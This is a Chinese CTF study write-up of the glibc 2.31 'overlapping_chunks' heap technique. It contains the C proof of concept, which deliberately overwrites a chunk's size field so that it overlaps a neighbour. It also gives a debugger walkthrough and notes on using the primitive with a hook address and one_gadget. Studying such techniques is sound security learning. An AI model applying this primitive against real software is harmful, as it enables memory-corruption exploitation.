overlapping_chunks 2.31
源碼
1 /*
2
3 A simple tale of overlapping chunk.
4 This technique is taken from
5 http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
6
7 */
8
9 #include <stdio.h>
10 #include <stdlib.h>
11 #include <string.h>
12 #include <stdint.h>
13 #include <assert.h>
14
15 int main(int argc , char* argv[])
16 {
17 setbuf(stdout, NULL);
18
19 long *p1,*p2,*p3,*p4;
20 printf("\nThis is another simple chunks overlapping problem\n");
21 printf("The previous technique is killed by patch: https://sourceware.org/git/p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n"
22 "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n"
23 "and the prev_size of it must match the unsortedbin's size\n"
24 "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n");
25
26 printf("Let's start to allocate 4 chunks on the heap\n");
27
28 p1 = malloc(0x80 - 8);
29 p2 = malloc(0x500 - 8);
30 p3 = malloc(0x80 - 8);
31
32 printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);
33
34 memset(p1, '1', 0x80 - 8);
35 memset(p2, '2', 0x500 - 8);
36 memset(p3, '3', 0x80 - 8);
37
38 printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
39 int evil_chunk_size = 0x581;
40 int evil_region_size = 0x580 - 8;
41 printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
42 evil_chunk_size, evil_region_size);
43
44 /* VULNERABILITY */
45 *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
46 /* VULNERABILITY */
47
48 printf("\nNow let's free the chunk p2\n");
49 free(p2);
50 printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");
51
52 printf("\nNow let's allocate another chunk with a size equal to the data\n"
53 "size of the chunk p2 injected size\n");
54 printf("This malloc will be served from the previously freed chunk that\n"
55 "is parked in the unsorted bin which size has been modified by us\n");
56 p4 = malloc(evil_region_size);
57
58 printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
59 printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x580-8);
60 printf("p4 should overlap with p3, in this case p4 includes all p3.\n");
61
62 printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
63 " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");
64
65 printf("Let's run through an example. Right now, we have:\n");
66 printf("p4 = %s\n", (char *)p4);
67 printf("p3 = %s\n", (char *)p3);
68
69 printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
70 memset(p4, '4', evil_region_size);
71 printf("p4 = %s\n", (char *)p4);
72 printf("p3 = %s\n", (char *)p3);
73
74 printf("\nAnd if we then memset(p3, '3', 80), we have:\n");
75 memset(p3, '3', 80);
76 printf("p4 = %s\n", (char *)p4);
77 printf("p3 = %s\n", (char *)p3);
78
79 assert(strstr((char *)p4, (char *)p3));
80 }
調試
在第34行下斷點,建立了三個堆塊,chunk_p1申請的空間為0x78,chunk_p2申請的空間為0x4f8,chunk_p3申請的空間為0x78,這就意味着p1會共用p2的prev_size的部分,p2會共用p3的prev_size

在第39行下斷點,對三個堆塊進行填充
在45行下斷點,建立evil_chunk_size與evil_region_size,chunk_size模拟的是整個堆塊的size,evil_region_size模拟的是堆塊中資料部分的size
可以看到模拟的size值為chunk_p2與chunk_p3的總和,接下來斷點下在第48行,将chunk_p2的size部分改寫成evil_chunk_size,即0x581
如果在做題中想要達到修改堆塊size的操作,那麼chunk_p1勢必要存在堆溢出,并且在申請chunk_p1size的時候要考慮加上chunk_p2的prev_size的0x8位元組,這樣才能使得溢出修改size更加高效。那麼如果chunk_p2的size被修改成了chunk_p2與chunk_p3的總和,那麼就意味着chunk_p2将chunk_p3吞掉了,成了一個”合并“大整塊,後稱merge_chunk,此時merge_chunk的size為0x581,資料空間為0x578
可以看到在修改完size後merge_chunk與top_chunk相鄰,不再顯示chunk_p3的堆塊了。在第50行下斷點,釋放merge_chunk,由于此時merge_chunk與top_chunk相鄰,是以會被top_chunk吞掉
在第70行下斷點,在重新申請一個資料空間為0x578大小的堆塊,由于bin中沒有可以配置設定的堆塊,是以直接從top_chunk中進行分割,申請的大小正好是merge_chunk的大小,是以merge_chunk作為chunk_p4倍重新啟用
順帶的看一下列印出來的chunk_p4與chunk_p3中的内容
将斷點下在75行,将chunk_p4中的内容用數字”4“填充,并檢視chunk_p4與chunk_p3中的内容:
可以看到雖然指定填充的是chunk_p4,但是chunk_p3在前面被包含進了chunk_p4,這就導緻了chunk_p3是作為chunk_p4的資料部分使用的。斷點下在79行,将chunk_p3中前80個位元組用數字”3“來填充,注意這裡是十進制80而不是十六進制0x80
可以看到,雖然chunk_p3被包含在chunk_p4中,但是chunk_p3的malloc指針并沒有收到影響,堆塊本身的讀寫也沒有受到影響
總結
- 如果想要使用該方法,必須滿足如下條件:
- 程式中對堆塊具有增、删、改的操作
- 堆塊存在len(“size”)長度溢出
- 該方法有幾個利用點比較有意思,之前做過的題目大部分如果能夠溢出很長位元組的時候我們都去選擇建構僞造堆塊,或者隻修改prev_size與size的inuse标志位來達到堆塊在unsorted bin中合并的操作。但是這種方式利用top_chunk吞堆塊的操作,将兩個連續位址位的堆塊看做同一個堆塊來使用,主要還是歸功于修改了低位址位堆塊size的操作,使得堆管理器認為這就是一整個堆塊
- 适用場景:
- 隻能溢出到size的8個位元組
- 首先修改merge_chunk将hook位址部署在高位址位堆塊DATA起始位置,第二次修改高位址位内容為one_gadget
- 建立一個能夠隔離top_chunk的堆塊後可以達到UAF的作用